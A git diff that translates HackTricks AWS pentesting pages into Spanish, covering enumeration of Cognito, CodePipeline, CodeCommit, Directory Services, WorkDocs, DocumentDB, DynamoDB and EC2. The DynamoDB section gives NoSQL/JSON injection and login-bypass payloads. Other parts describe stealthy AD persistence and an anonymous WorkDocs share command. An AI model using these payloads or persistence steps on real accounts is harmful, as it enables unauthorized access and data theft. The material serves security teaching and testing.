-The **roles** a user have access to are **inside the `IdToken`**, and a user can **select which role he would like credentials for** with the **`--custom-role-arn`** from `aws cognito-identity get-credentials-for-identity`.\ -However, if the **default option** is the one **configured** (`use default role`), and you try to access a role from the IdToken, you will get **error** (that's why the previous configuration is needed): - +Los **roles** a los que un usuario tiene acceso están **dentro del `IdToken`**, y un usuario puede **seleccionar qué rol le gustaría tener credenciales** con el **`--custom-role-arn`** de `aws cognito-identity get-credentials-for-identity`.\ +Sin embargo, si la **opción predeterminada** es la que está **configurada** (`usar rol predeterminado`), y intentas acceder a un rol desde el IdToken, recibirás un **error** (por eso se necesita la configuración anterior): ``` An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN. ``` - > [!WARNING] -> Note that the role assigned to a **User Pool Group** needs to be **accesible by the Identity Provider** that **trust the User Pool** (as the IAM role **session credentials are going to be obtained from it**). - +> Tenga en cuenta que el rol asignado a un **User Pool Group** necesita ser **accesible por el Proveedor de Identidad** que **confía en el User Pool** (ya que las **credenciales de sesión del rol IAM se van a obtener de él**). ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "cognito-identity.amazonaws.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "cognito-identity.amazonaws.com:aud": "us-east-1:2361092e-9db6-a876-1027-10387c9de439" - }, - "ForAnyValue:StringLike": { - "cognito-identity.amazonaws.com:amr": "authenticated" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "cognito-identity.amazonaws.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"cognito-identity.amazonaws.com:aud": "us-east-1:2361092e-9db6-a876-1027-10387c9de439" +}, +"ForAnyValue:StringLike": { +"cognito-identity.amazonaws.com:amr": "authenticated" +} +} +} +] }js ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md index 2a907b71b..c2841b8e3 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -4,30 +4,28 @@ ## DataPipeline -AWS Data Pipeline is designed to facilitate the **access, transformation, and efficient transfer** of data at scale. It allows the following operations to be performed: +AWS Data Pipeline está diseñado para facilitar el **acceso, transformación y transferencia eficiente** de datos a gran escala. Permite realizar las siguientes operaciones: -1. **Access Your Data Where It’s Stored**: Data residing in various AWS services can be accessed seamlessly. -2. **Transform and Process at Scale**: Large-scale data processing and transformation tasks are handled efficiently. -3. **Efficiently Transfer Results**: The processed data can be efficiently transferred to multiple AWS services including: - - Amazon S3 - - Amazon RDS - - Amazon DynamoDB - - Amazon EMR +1. **Accede a tus datos donde están almacenados**: Los datos que residen en varios servicios de AWS se pueden acceder sin problemas. +2. **Transforma y procesa a gran escala**: Las tareas de procesamiento y transformación de datos a gran escala se manejan de manera eficiente. +3. **Transfiere resultados de manera eficiente**: Los datos procesados se pueden transferir de manera eficiente a múltiples servicios de AWS, incluyendo: +- Amazon S3 +- Amazon RDS +- Amazon DynamoDB +- Amazon EMR -In essence, AWS Data Pipeline streamlines the movement and processing of data between different AWS compute and storage services, as well as on-premises data sources, at specified intervals. +En esencia, AWS Data Pipeline optimiza el movimiento y procesamiento de datos entre diferentes servicios de computación y almacenamiento de AWS, así como fuentes de datos locales, en intervalos especificados. ### Enumeration - ```bash aws datapipeline list-pipelines aws datapipeline describe-pipelines --pipeline-ids aws datapipeline list-runs --pipeline-id aws datapipeline get-pipeline-definition --pipeline-id ``` - ### Privesc -In the following page you can check how to **abuse datapipeline permissions to escalate privileges**: +En la siguiente página puedes verificar cómo **abusar de los permisos de datapipeline para escalar privilegios**: {{#ref}} ../aws-privilege-escalation/aws-datapipeline-privesc.md @@ -35,10 +33,9 @@ In the following page you can check how to **abuse datapipeline permissions to e ## CodePipeline -AWS CodePipeline is a fully managed **continuous delivery service** that helps you **automate your release pipelines** for fast and reliable application and infrastructure updates. CodePipeline automates the **build, test, and deploy phases** of your release process every time there is a code change, based on the release model you define. +AWS CodePipeline es un servicio de **entrega continua** completamente gestionado que te ayuda a **automatizar tus pipelines de lanzamiento** para actualizaciones rápidas y confiables de aplicaciones e infraestructura. CodePipeline automatiza las **fases de construcción, prueba y despliegue** de tu proceso de lanzamiento cada vez que hay un cambio en el código, basado en el modelo de lanzamiento que defines. ### Enumeration - ```bash aws codepipeline list-pipelines aws codepipeline get-pipeline --name @@ -47,10 +44,9 @@ aws codepipeline list-pipeline-executions --pipeline-name aws codepipeline list-webhooks aws codepipeline get-pipeline-state --name ``` - ### Privesc -In the following page you can check how to **abuse codepipeline permissions to escalate privileges**: +En la siguiente página puedes verificar cómo **abusar de los permisos de codepipeline para escalar privilegios**: {{#ref}} ../aws-privilege-escalation/aws-codepipeline-privesc.md @@ -58,12 +54,11 @@ In the following page you can check how to **abuse codepipeline permissions to e ## CodeCommit -It is a **version control service**, which is hosted and fully managed by Amazon, which can be used to privately store data (documents, binary files, source code) and manage them in the cloud. +Es un **servicio de control de versiones**, que está alojado y completamente gestionado por Amazon, que se puede utilizar para almacenar datos de forma privada (documentos, archivos binarios, código fuente) y gestionarlos en la nube. -It **eliminates** the requirement for the user to know Git and **manage their own source control system** or worry about scaling up or down their infrastructure. Codecommit supports all the standard **functionalities that can be found in Git**, which means it works effortlessly with user’s current Git-based tools. +**Elimina** el requisito de que el usuario conozca Git y **gestione su propio sistema de control de versiones** o se preocupe por escalar su infraestructura. Codecommit admite todas las **funcionalidades estándar que se pueden encontrar en Git**, lo que significa que funciona sin problemas con las herramientas basadas en Git actuales del usuario. ### Enumeration - ```bash # Repos aws codecommit list-repositories @@ -95,13 +90,8 @@ ssh-keygen -f .ssh/id_rsa -l -E md5 # Clone repo git clone ssh://@git-codecommit..amazonaws.com/v1/repos/ ``` - -## References +## Referencias - [https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html](https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md index 93992174c..2da843a29 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md @@ -4,26 +4,25 @@ ## Directory Services -AWS Directory Service for Microsoft Active Directory is a managed service that makes it easy to **set up, operate, and scale a directory** in the AWS Cloud. It is built on actual **Microsoft Active Directory** and integrates tightly with other AWS services, making it easy to manage your directory-aware workloads and AWS resources. With AWS Managed Microsoft AD, you can **use your existing** Active Directory users, groups, and policies to manage access to your AWS resources. This can help simplify your identity management and reduce the need for additional identity solutions. AWS Managed Microsoft AD also provides automatic backups and disaster recovery capabilities, helping to ensure the availability and durability of your directory. Overall, AWS Directory Service for Microsoft Active Directory can help you save time and resources by providing a managed, highly available, and scalable Active Directory service in the AWS Cloud. +AWS Directory Service para Microsoft Active Directory es un servicio gestionado que facilita **configurar, operar y escalar un directorio** en la nube de AWS. Está construido sobre el **Microsoft Active Directory** real e integra estrechamente con otros servicios de AWS, lo que facilita la gestión de tus cargas de trabajo y recursos de AWS que son conscientes del directorio. Con AWS Managed Microsoft AD, puedes **usar tus existentes** usuarios, grupos y políticas de Active Directory para gestionar el acceso a tus recursos de AWS. Esto puede ayudar a simplificar tu gestión de identidad y reducir la necesidad de soluciones de identidad adicionales. AWS Managed Microsoft AD también proporciona copias de seguridad automáticas y capacidades de recuperación ante desastres, ayudando a garantizar la disponibilidad y durabilidad de tu directorio. En general, AWS Directory Service para Microsoft Active Directory puede ayudarte a ahorrar tiempo y recursos al proporcionar un servicio de Active Directory gestionado, altamente disponible y escalable en la nube de AWS. ### Options -Directory Services allows to create 5 types of directories: +Directory Services permite crear 5 tipos de directorios: -- **AWS Managed Microsoft AD**: Which will run a new **Microsoft AD in AWS**. You will be able to set the admin password and access the DCs in a VPC. -- **Simple AD**: Which will be a **Linux-Samba** Active Directory–compatible server. You will be able to set the admin password and access the DCs in a VPC. -- **AD Connector**: A proxy for **redirecting directory requests to your existing Microsoft Active Directory** without caching any information in the cloud. It will be listening in a **VPC** and you need to give **credentials to access the existing AD**. -- **Amazon Cognito User Pools**: This is the same as Cognito User Pools. -- **Cloud Directory**: This is the **simplest** one. A **serverless** directory where you indicate the **schema** to use and are **billed according to the usage**. +- **AWS Managed Microsoft AD**: Que ejecutará un nuevo **Microsoft AD en AWS**. Podrás establecer la contraseña de administrador y acceder a los DCs en una VPC. +- **Simple AD**: Que será un servidor compatible con Active Directory **Linux-Samba**. Podrás establecer la contraseña de administrador y acceder a los DCs en una VPC. +- **AD Connector**: Un proxy para **redirigir solicitudes de directorio a tu existente Microsoft Active Directory** sin almacenar información en la nube. Estará escuchando en una **VPC** y necesitas proporcionar **credenciales para acceder al AD existente**. +- **Amazon Cognito User Pools**: Esto es lo mismo que Cognito User Pools. +- **Cloud Directory**: Este es el **más simple**. Un directorio **sin servidor** donde indicas el **esquema** a utilizar y se **cobran según el uso**. -AWS Directory services allows to **synchronise** with your existing **on-premises** Microsoft AD, **run your own one** in AWS or synchronize with **other directory types**. +Los servicios de directorio de AWS permiten **sincronizar** con tu **Microsoft AD** existente **en las instalaciones**, **ejecutar tu propio** en AWS o sincronizar con **otros tipos de directorios**. ### Lab -Here you can find a nice tutorial to create you own Microsoft AD in AWS: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html) +Aquí puedes encontrar un buen tutorial para crear tu propio Microsoft AD en AWS: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html) ### Enumeration - ```bash # Get directories and DCs aws ds describe-directories @@ -36,10 +35,9 @@ aws ds get-directory-limits aws ds list-certificates --directory-id aws ds describe-certificate --directory-id --certificate-id ``` - ### Login -Note that if the **description** of the directory contained a **domain** in the field **`AccessUrl`** it's because a **user** can probably **login** with its **AD credentials** in some **AWS services:** +Tenga en cuenta que si la **descripción** del directorio contenía un **dominio** en el campo **`AccessUrl`** es porque un **usuario** probablemente puede **iniciar sesión** con sus **credenciales de AD** en algunos **servicios de AWS:** - `.awsapps.com/connect` (Amazon Connect) - `.awsapps.com/workdocs` (Amazon WorkDocs) @@ -57,30 +55,29 @@ Note that if the **description** of the directory contained a **domain** in the ### Using an AD user -An **AD user** can be given **access over the AWS management console** via a Role to assume. The **default username is Admin** and it's possible to **change its password** from AWS console. +Un **usuario de AD** puede recibir **acceso a la consola de administración de AWS** a través de un Rol que asumir. El **nombre de usuario predeterminado es Admin** y es posible **cambiar su contraseña** desde la consola de AWS. -Therefore, it's possible to **change the password of Admin**, **create a new user** or **change the password** of a user and grant that user a Role to maintain access.\ -It's also possible to **add a user to a group inside AD** and **give that AD group access to a Role** (to make this persistence more stealth). +Por lo tanto, es posible **cambiar la contraseña de Admin**, **crear un nuevo usuario** o **cambiar la contraseña** de un usuario y otorgar a ese usuario un Rol para mantener el acceso.\ +También es posible **agregar un usuario a un grupo dentro de AD** y **dar acceso a ese grupo de AD a un Rol** (para hacer que esta persistencia sea más sigilosa). ### Sharing AD (from victim to attacker) -It's possible to share an AD environment from a victim to an attacker. This way the attacker will be able to continue accessing the AD env.\ -However, this implies sharing the managed AD and also creating an VPC peering connection. +Es posible compartir un entorno de AD de una víctima a un atacante. De esta manera, el atacante podrá continuar accediendo al entorno de AD.\ +Sin embargo, esto implica compartir el AD administrado y también crear una conexión de emparejamiento de VPC. -You can find a guide here: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) +Puede encontrar una guía aquí: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) ### ~~Sharing AD (from attacker to victim)~~ -It doesn't look like possible to grant AWS access to users from a different AD env to one AWS account. +No parece posible otorgar acceso a AWS a usuarios de un entorno de AD diferente a una cuenta de AWS. ## WorkDocs -Amazon Web Services (AWS) WorkDocs is a cloud-based **file storage and sharing service**. It is part of the AWS suite of cloud computing services and is designed to provide a secure and scalable solution for organizations to store, share, and collaborate on files and documents. +Amazon Web Services (AWS) WorkDocs es un **servicio de almacenamiento y compartición de archivos** basado en la nube. Es parte de la suite de servicios de computación en la nube de AWS y está diseñado para proporcionar una solución segura y escalable para que las organizaciones almacenen, compartan y colaboren en archivos y documentos. -AWS WorkDocs provides a web-based interface for users to upload, access, and manage their files and documents. It also offers features such as version control, real-time collaboration, and integration with other AWS services and third-party tools. +AWS WorkDocs proporciona una interfaz basada en la web para que los usuarios carguen, accedan y gestionen sus archivos y documentos. También ofrece características como control de versiones, colaboración en tiempo real e integración con otros servicios de AWS y herramientas de terceros. ### Enumeration - ```bash # Get AD users (Admin not included) aws workdocs describe-users --organization-id @@ -109,7 +106,6 @@ aws workdocs describe-resource-permissions --resource-id aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER ## This will give an id, the file will be acesible in: https://.awsapps.com/workdocs/index.html#/share/document/ ``` - ### Privesc {{#ref}} @@ -117,7 +113,3 @@ aws workdocs add-resource-permissions --resource-id --principals Id=anonymo {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md index caf35d03c..39d723a16 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md @@ -4,10 +4,9 @@ ## DocumentDB -Amazon DocumentDB, offering compatibility with MongoDB, is presented as a **fast, reliable, and fully managed database service**. Designed for simplicity in deployment, operation, and scalability, it allows the **seamless migration and operation of MongoDB-compatible databases in the cloud**. Users can leverage this service to execute their existing application code and utilize familiar drivers and tools, ensuring a smooth transition and operation akin to working with MongoDB. +Amazon DocumentDB, que ofrece compatibilidad con MongoDB, se presenta como un **servicio de base de datos rápido, confiable y completamente administrado**. Diseñado para la simplicidad en la implementación, operación y escalabilidad, permite la **migración y operación sin problemas de bases de datos compatibles con MongoDB en la nube**. Los usuarios pueden aprovechar este servicio para ejecutar su código de aplicación existente y utilizar controladores y herramientas familiares, asegurando una transición y operación fluida similar a trabajar con MongoDB. ### Enumeration - ```bash aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint" aws docdb describe-db-instances #Get hostnames from here @@ -20,10 +19,9 @@ aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name ``` +### Inyección NoSQL -### NoSQL Injection - -As DocumentDB is a MongoDB compatible database, you can imagine it's also vulnerable to common NoSQL injection attacks: +Como DocumentDB es una base de datos compatible con MongoDB, puedes imaginar que también es vulnerable a ataques comunes de inyección NoSQL: {{#ref}} https://book.hacktricks.xyz/pentesting-web/nosql-injection @@ -35,12 +33,8 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection ../aws-unauthenticated-enum-access/aws-documentdb-enum.md {{#endref}} -## References +## Referencias - [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md index cb0864715..355ab4708 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md @@ -4,30 +4,29 @@ ## DynamoDB -### Basic Information +### Información Básica -Amazon DynamoDB is presented by AWS as a **fully managed, serverless, key-value NoSQL database**, tailored for powering high-performance applications regardless of their size. The service ensures robust features including inherent security measures, uninterrupted backups, automated replication across multiple regions, integrated in-memory caching, and convenient data export utilities. +Amazon DynamoDB es presentado por AWS como una **base de datos NoSQL de clave-valor, completamente gestionada y sin servidor**, diseñada para impulsar aplicaciones de alto rendimiento sin importar su tamaño. El servicio garantiza características robustas que incluyen medidas de seguridad inherentes, copias de seguridad ininterrumpidas, replicación automatizada en múltiples regiones, almacenamiento en caché en memoria integrado y utilidades convenientes para la exportación de datos. -In the context of DynamoDB, instead of establishing a traditional database, **tables are created**. Each table mandates the specification of a **partition key** as an integral component of the **table's primary key**. This partition key, essentially a **hash value**, plays a critical role in both the retrieval of items and the distribution of data across various hosts. This distribution is pivotal for maintaining both scalability and availability of the database. Additionally, there's an option to incorporate a **sort key** to further refine data organization. +En el contexto de DynamoDB, en lugar de establecer una base de datos tradicional, **se crean tablas**. Cada tabla requiere la especificación de una **clave de partición** como un componente integral de la **clave primaria de la tabla**. Esta clave de partición, esencialmente un **valor hash**, juega un papel crítico tanto en la recuperación de elementos como en la distribución de datos a través de varios hosts. Esta distribución es fundamental para mantener tanto la escalabilidad como la disponibilidad de la base de datos. Además, hay una opción para incorporar una **clave de ordenación** para refinar aún más la organización de los datos. -### Encryption +### Cifrado -By default, DynamoDB uses a KMS key that \*\*belongs to Amazon DynamoDB,\*\*not even the AWS managed key that at least belongs to your account. +Por defecto, DynamoDB utiliza una clave KMS que **pertenece a Amazon DynamoDB,** ni siquiera la clave gestionada por AWS que al menos pertenece a tu cuenta.
-### Backups & Export to S3 +### Copias de Seguridad y Exportación a S3 -It's possible to **schedule** the generation of **table backups** or create them on **demand**. Moreover, it's also possible to enable **Point-in-time recovery (PITR) for a table.** Point-in-time recovery provides continuous **backups** of your DynamoDB data for **35 days** to help you protect against accidental write or delete operations. +Es posible **programar** la generación de **copias de seguridad de tablas** o crearlas **a demanda**. Además, también es posible habilitar **la recuperación en el tiempo (PITR) para una tabla.** La recuperación en el tiempo proporciona **copias de seguridad** continuas de tus datos de DynamoDB durante **35 días** para ayudarte a protegerte contra operaciones de escritura o eliminación accidentales. -It's also possible to export **the data of a table to S3**, but the table needs to have **PITR enabled**. +También es posible exportar **los datos de una tabla a S3**, pero la tabla debe tener **PITR habilitado**. ### GUI -There is a GUI for local Dynamo services like [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack), etc, that could be useful: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin) - -### Enumeration +Hay una GUI para servicios locales de Dynamo como [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack), etc., que podría ser útil: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin) +### Enumeración ```bash # Tables aws dynamodb list-tables @@ -36,7 +35,7 @@ aws dynamodb describe-table --table-name #Get metadata info #Check if point in time recovery is enabled aws dynamodb describe-continuous-backups \ - --table-name tablename +--table-name tablename # Backups aws dynamodb list-backups @@ -54,8 +53,7 @@ aws dynamodb describe-export --export-arn # Misc aws dynamodb describe-endpoints #Dynamodb endpoints ``` - -### Unauthenticated Access +### Acceso No Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md @@ -67,116 +65,100 @@ aws dynamodb describe-endpoints #Dynamodb endpoints ../aws-privilege-escalation/aws-dynamodb-privesc.md {{#endref}} -### Post Exploitation +### Post Explotación {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### Persistence +### Persistencia {{#ref}} ../aws-persistence/aws-dynamodb-persistence.md {{#endref}} -## DynamoDB Injection +## Inyección de DynamoDB -### SQL Injection +### Inyección SQL -There are ways to access DynamoDB data with **SQL syntax**, therefore, typical **SQL injections are also possible**. +Hay formas de acceder a los datos de DynamoDB con **sintaxis SQL**, por lo tanto, **inyecciones SQL típicas también son posibles**. {{#ref}} https://book.hacktricks.xyz/pentesting-web/sql-injection {{#endref}} -### NoSQL Injection +### Inyección NoSQL -In DynamoDB different **conditions** can be used to retrieve data, like in a common NoSQL Injection if it's possible to **chain more conditions to retrieve** data you could obtain hidden data (or dump the whole table).\ -You can find here the conditions supported by DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) +En DynamoDB se pueden usar diferentes **condiciones** para recuperar datos, como en una inyección NoSQL común, si es posible **encadenar más condiciones para recuperar** datos, podrías obtener datos ocultos (o volcar toda la tabla).\ +Puedes encontrar aquí las condiciones soportadas por DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) -Note that **different conditions** are supported if the data is being accessed via **`query`** or via **`scan`**. +Ten en cuenta que **diferentes condiciones** son soportadas si los datos se acceden a través de **`query`** o a través de **`scan`**. > [!NOTE] -> Actually, **Query** actions need to specify the **condition "EQ" (equals)** in the **primary** key to works, making it much **less prone to NoSQL injections** (and also making the operation very limited). - -If you can **change the comparison** performed or add new ones, you could retrieve more data. +> De hecho, las acciones de **Query** necesitan especificar la **condición "EQ" (igual)** en la **clave primaria** para funcionar, lo que las hace mucho **menos propensas a inyecciones NoSQL** (y también limita mucho la operación). +Si puedes **cambiar la comparación** realizada o agregar nuevas, podrías recuperar más datos. ```bash # Comparators to dump the database "NE": "a123" #Get everything that doesn't equal "a123" "NOT_CONTAINS": "a123" #What you think "GT": " " #All strings are greater than a space ``` - {{#ref}} https://book.hacktricks.xyz/pentesting-web/nosql-injection {{#endref}} -### Raw Json injection +### Inyección de Json en bruto > [!CAUTION] -> **This vulnerability is based on dynamodb Scan Filter which is now deprecated!** +> **¡Esta vulnerabilidad se basa en el Filtro de Escaneo de dynamodb que ahora está obsoleto!** -**DynamoDB** accepts **Json** objects to **search** for data inside the DB. If you find that you can write in the json object sent to search, you could make the DB dump, all the contents. - -For example, injecting in a request like: +**DynamoDB** acepta objetos **Json** para **buscar** datos dentro de la base de datos. Si descubres que puedes escribir en el objeto json enviado para buscar, podrías hacer un volcado de la base de datos, todo el contenido. +Por ejemplo, inyectando en una solicitud como: ```bash '{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}' ``` - -an attacker could inject something like: +un atacante podría inyectar algo como: `1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0` -fix the "EQ" condition searching for the ID 1000 and then looking for all the data with a Id string greater and 0, which is all. - -Another **vulnerable example using a login** could be: +arreglar la condición "EQ" buscando el ID 1000 y luego buscando todos los datos con una cadena de Id mayor que 0, que es todo. +Otro **ejemplo vulnerable usando un inicio de sesión** podría ser: ```python scan_filter = """{ - "username": { - "ComparisonOperator": "EQ", - "AttributeValueList": [{"S": "%s"}] - }, - "password": { - "ComparisonOperator": "EQ", - "AttributeValueList": [{"S": "%s"}] - } +"username": { +"ComparisonOperator": "EQ", +"AttributeValueList": [{"S": "%s"}] +}, +"password": { +"ComparisonOperator": "EQ", +"AttributeValueList": [{"S": "%s"}] +} } """ % (user_data['username'], user_data['password']) dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter)) ``` - -This would be vulnerable to: - +Esto sería vulnerable a: ``` username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none ``` - ### :property Injection -Some SDKs allows to use a string indicating the filtering to be performed like: - +Algunos SDK permiten usar una cadena que indica el filtrado que se debe realizar, como: ```java new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap) ``` +Necesitas saber que al buscar en DynamoDB para **sustituir** un **valor** de atributo en **expresiones de filtro** mientras se escanean los elementos, los tokens deben **comenzar** con el carácter **`:`**. Tales tokens serán **reemplazados** con el **valor de atributo real en tiempo de ejecución**. -You need to know that searching in DynamoDB for **substituting** an attribute **value** in **filter expressions** while scanning the items, the tokens should **begin** with the **`:`** character. Such tokens will be **replaced** with actual **attribute value at runtime**. - -Therefore, a login like the previous one can be bypassed with something like: - +Por lo tanto, un inicio de sesión como el anterior puede ser eludido con algo como: ```bash :username = :username or :username # This will generate the query: # :username = :username or :username = :username and Password = :password # which is always true ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index f365bc7f5..bcbeffd6c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -4,7 +4,7 @@ ## VPC & Networking -Learn what a VPC is and about its components in: +Aprende qué es una VPC y sobre sus componentes en: {{#ref}} aws-vpc-and-networking-basic-information.md @@ -12,37 +12,35 @@ aws-vpc-and-networking-basic-information.md ## EC2 -Amazon EC2 is utilized for initiating **virtual servers**. It allows for the configuration of **security** and **networking** and the management of **storage**. The flexibility of Amazon EC2 is evident in its ability to scale resources both upwards and downwards, effectively adapting to varying requirement changes or surges in popularity. This feature diminishes the necessity for precise traffic predictions. +Amazon EC2 se utiliza para iniciar **servidores virtuales**. Permite la configuración de **seguridad** y **redes** y la gestión de **almacenamiento**. La flexibilidad de Amazon EC2 es evidente en su capacidad para escalar recursos tanto hacia arriba como hacia abajo, adaptándose efectivamente a los cambios en los requisitos o aumentos en la popularidad. Esta característica disminuye la necesidad de predicciones de tráfico precisas. -Interesting things to enumerate in EC2: +Cosas interesantes para enumerar en EC2: -- Virtual Machines - - SSH Keys - - User Data - - Existing EC2s/AMIs/Snapshots -- Networking - - Networks - - Subnetworks - - Public IPs - - Open ports -- Integrated connections with other networks outside AWS +- Máquinas Virtuales +- Claves SSH +- Datos de Usuario +- EC2s/AMIs/Snapshots existentes +- Redes +- Subredes +- IPs Públicas +- Puertos abiertos +- Conexiones integradas con otras redes fuera de AWS ### Instance Profiles -Using **roles** to grant permissions to applications that run on **EC2 instances** requires a bit of extra configuration. An application running on an EC2 instance is abstracted from AWS by the virtualized operating system. Because of this extra separation, you need an additional step to assign an AWS role and its associated permissions to an EC2 instance and make them available to its applications. +Usar **roles** para otorgar permisos a aplicaciones que se ejecutan en **instancias EC2** requiere un poco de configuración adicional. Una aplicación que se ejecuta en una instancia EC2 está abstraída de AWS por el sistema operativo virtualizado. Debido a esta separación adicional, necesitas un paso adicional para asignar un rol de AWS y sus permisos asociados a una instancia EC2 y hacerlos disponibles para sus aplicaciones. -This extra step is the **creation of an** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) attached to the instance. The **instance profile contains the role and** can provide the role's temporary credentials to an application that runs on the instance. Those temporary credentials can then be used in the application's API calls to access resources and to limit access to only those resources that the role specifies. Note that **only one role can be assigned to an EC2 instance** at a time, and all applications on the instance share the same role and permissions. +Este paso adicional es la **creación de un** [_**perfil de instancia**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) adjunto a la instancia. El **perfil de instancia contiene el rol y** puede proporcionar las credenciales temporales del rol a una aplicación que se ejecuta en la instancia. Esas credenciales temporales pueden ser utilizadas en las llamadas API de la aplicación para acceder a recursos y limitar el acceso solo a aquellos recursos que el rol especifica. Ten en cuenta que **solo se puede asignar un rol a una instancia EC2** a la vez, y todas las aplicaciones en la instancia comparten el mismo rol y permisos. ### Metadata Endpoint -AWS EC2 metadata is information about an Amazon Elastic Compute Cloud (EC2) instance that is available to the instance at runtime. This metadata is used to provide information about the instance, such as its instance ID, the availability zone it is running in, the IAM role associated with the instance, and the instance's hostname. +Los metadatos de AWS EC2 son información sobre una instancia de Amazon Elastic Compute Cloud (EC2) que está disponible para la instancia en tiempo de ejecución. Estos metadatos se utilizan para proporcionar información sobre la instancia, como su ID de instancia, la zona de disponibilidad en la que se está ejecutando, el rol IAM asociado con la instancia y el nombre de host de la instancia. {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} ### Enumeration - ```bash # Get EC2 instances aws ec2 describe-instances @@ -50,10 +48,10 @@ aws ec2 describe-instance-status #Get status from running instances # Get user data from each ec2 instance for instanceid in $(aws ec2 describe-instances --profile --region us-west-2 | grep -Eo '"i-[a-zA-Z0-9]+' | tr -d '"'); do - echo "Instance ID: $instanceid" - aws ec2 describe-instance-attribute --profile --region us-west-2 --instance-id "$instanceid" --attribute userData | jq ".UserData.Value" | tr -d '"' | base64 -d - echo "" - echo "-------------------" +echo "Instance ID: $instanceid" +aws ec2 describe-instance-attribute --profile --region us-west-2 --instance-id 